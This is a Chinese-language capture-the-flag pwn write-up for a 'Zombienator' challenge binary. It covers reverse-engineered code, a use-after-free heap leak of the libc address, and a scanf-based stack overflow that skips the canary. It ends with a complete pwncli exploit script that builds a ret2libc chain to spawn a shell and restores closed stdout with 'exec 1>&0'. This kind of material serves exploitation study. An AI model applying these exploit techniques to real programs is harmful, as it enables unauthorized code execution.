前言
一个蛮有收获的综合题目
今天是刷题第13天,继续努力ing!
题目情况
Our radar has detected an approaching swarm of zombies, and the threat level is high. To safeguard our community, we must mobilize an army of Zombienators to fend off this impending attack.
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
逆向分析
菜单题
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned __int64 num; // rax
banner(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
printf(
"\n"
"##########################\n"
"# #\n"
"# 1. Create Zombienator #\n"
"# 2. Remove Zombienator #\n"
"# 3. Display Zombienator #\n"
"# 4. Attack #\n"
"# 5. Exit #\n"
"# #\n"
"##########################\n"
"\n"
">> ");
num = read_num();
if ( num != 4 )
break;
attack(); // 4
// 疑似栈溢出
}
if ( num > 4 )
break;
switch ( num )
{
case 3uLL:
display(); // 3
// 打印信息
break;
case 1uLL:
create(); // 1
// 申请<=0x82字节的内存
break;
case 2uLL:
removez(); // 2
// 释放后没有清空指针
break;
default:
goto LABEL_12;
}
}
LABEL_12:
puts("\nGood luck!\n");
exit(1312);
}
选项1:
unsigned __int64 create()
{
unsigned __int64 size; // [rsp+8h] [rbp-18h]
unsigned __int64 idx; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("\nZombienator's tier: ");
size = read_num();
if ( size <= 0x82 && size )
{
printf("\nFront line (0-4) or Back line (5-9): ");
idx = read_num();
if ( idx <= 9 ) // idx
{
*((_QWORD *)&z + idx) = malloc(size); // 申请内存,大小需要<=0x82
strcpy(*((char **)&z + idx), "Zombienator ready!");// 写入数据
printf("\n%s[+] Zombienator created!%s\n", "\x1B[1;32m", "\x1B[1;34m");
}
else
{
error("[-] Invalid position!");
}
}
else
{
error("[-] Cannot create Zombienator for this tier!");
}
return v3 - __readfsqword(0x28u);
}
可以分配0x82字节以内的chunk,索引可控,最多10个
选项2:
unsigned __int64 removez()
{
unsigned __int64 idx; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("\nZombienator's position: ");
idx = read_num();
if ( idx <= 9 )
{
if ( *((_QWORD *)&z + idx) )
{
free(*((void **)&z + idx)); // 释放后没有清空指针
printf("\n%s[+] Zombienator destroyed!%s\n", "\x1B[1;32m", "\x1B[1;34m");
}
else
{
error("[-] There is no Zombienator here!");
}
}
else
{
error("[-] Invalid position!");
}
return v2 - __readfsqword(0x28u);
}
释放后没有清空指针,可能有UAF
选项3:
unsigned __int64 display()
{
unsigned __int64 i; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
putchar(10);
for ( i = 0LL; i <= 9; ++i )
{
if ( *((_QWORD *)&z + i) )
fprintf(stdout, "Slot [%d]: %s\n", i, *((const char **)&z + i));
else
fprintf(stdout, "Slot [%d]: Empty\n", i);
}
putchar(10);
return v2 - __readfsqword(0x28u);
}
打印所有内容,可以通过UAF泄露数据
选项4:
unsigned __int64 attack()
{
char v1; // [rsp+7h] [rbp-119h] BYREF
unsigned __int64 i; // [rsp+8h] [rbp-118h]
_QWORD v3[33]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("\nNumber of attacks: ");
__isoc99_scanf("%hhd", &v1); // 接收数字输入,0-255
for ( i = 0LL; i < v1; ++i )
{
printf("\nEnter coordinates: ");
__isoc99_scanf("%lf", &v3[i]); // 这里索引有问题,按qword索引,会导致栈溢出
}
fclose(stderr);
fclose(stdout);
return v4 - __readfsqword(0x28u);
}
栈溢出,这里的索引有问题,8字节为单位索引,而循环次数是我们自己输入的,hhd限制在0-255,足够溢出了
利用分析
leak libc address
0x82字节限制,这么特殊的数值,肯定有他这么做的道理
0x80自己的chunk是fastbin chunk默认下最大的chunk,超过就不会进入fastbin
但这里是libc2.35,会先装填tcachebin,只需要填装0x90字节的chunk,装满之后,进入unsortedbin,就能拿到libc address leak:
0x55c985031680 0x0000000000000000 0x0000000000000091 ................ <-- unsortedbin[all][0]
0x55c985031690 0x00007fc149d02ce0 0x00007fc149d02ce0 .,.I.....,.I....
0x55c9850316a0 0x0000000000002179 0x0000000000000000 y!..............
0x55c9850316b0 0x0000000000000000 0x0000000000000000 ................
0x55c9850316c0 0x0000000000000000 0x0000000000000000 ................
0x55c9850316d0 0x0000000000000000 0x0000000000000000 ................
0x55c9850316e0 0x0000000000000000 0x0000000000000000 ................
0x55c9850316f0 0x0000000000000000 0x0000000000000000 ................
0x55c985031700 0x0000000000000000 0x0000000000000000 ................
0x55c985031710 0x0000000000000090 0x0000000000000090 ................
bypass canary & ret2libc
因为不能写入数据到chunk里,所以申请内存的内容能做的事情做完了,接下来该研究选项4的栈溢出漏洞了
因为存在canary,要么泄露出来,要么不修改它,这里的scanf格式化为浮点数:
__isoc99_scanf("%lf", &v3[i]); // 这里索引有问题,按qword索引,会导致栈溢出
这里肯定有某种办法可以绕过写入数据,查阅资料得知,是.
,输入.
则会跳过该地址不写入任何东西
在覆盖返回地址前只需要输入.
即可
数据是以浮点数格式输入的,我需要将十六进制数据转换为浮点数,然后再输入,用pwncli提供的u64_float即可
有了libc leak,那么用libc写rop即可
标准输出重定向
ret2libc拿到shell之后,命令可以执行,但是没有回显,因为:
fclose(stderr);
fclose(stdout);
标准输出和标准错误被关闭了,通过exec命令可以重定向标准输出到标准输入:
exec 1>&0
就相当于重启了标准输出了
完整exp
#!/usr/bin/env python3
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
def cmd(i, prompt=b">> "):
sla(prompt, i)
def add(sz:int,idx:int):
cmd('1')
sla(b"Zombienator's tier: ",str(sz).encode())
sla(b"Front line (0-4) or Back line (5-9): ",str(idx).encode())
#......
def free(idx:int):
cmd('2')
sla(b"Zombienator's position: ",str(idx).encode())
#......
def show():
cmd('3')
#......
def attack(num:int,dic:list):
cmd('4')
sla(b"Number of attacks: ",str(num).encode())
for i in dic:
sla(b"Enter coordinates: ",i)
#......
# leak libc & heap address
for i in range(7):
add(0x80,i)
add(0x80,7)
add(0x80,8)
for i in range(7):
free(i)
free(7)
show()
ru(b"Slot [0]: ")
heapleak = rl()[:-1]
heapleak = unpack(heapleak,"all")
heapbase = heapleak << 12
success(f"Heap address: {hex(heapleak)}")
success(f"Heap base address: {hex(heapbase)}")
ru(b"Slot [7]: ")
libcleak = rl()[:-1]
libcleak = unpack(libcleak,"all")
libc.address = libcleak -0x219ce0
success(f"Libc address: {hex(libcleak)}")
success(f"Libc base address: {hex(libc.address)}")
rop = ROP([libc])
rop.raw(rop.ret)
rop.system(next(libc.search(b"/bin/sh")))
rop_chain = rop.chain()
dic = [b"."]*35
for i in range(len(rop_chain)//8):
dic.append(str(u64_float(rop_chain[i*8:i*8+8])))
length = len(dic)
attack(length,dic)
ia()
总结
栈溢出题,2个收获:
.
可以跳过scanf("%f",v)
的输入- stderr和stdout被关闭下可以通过
exec 1>&0
来重启标准输出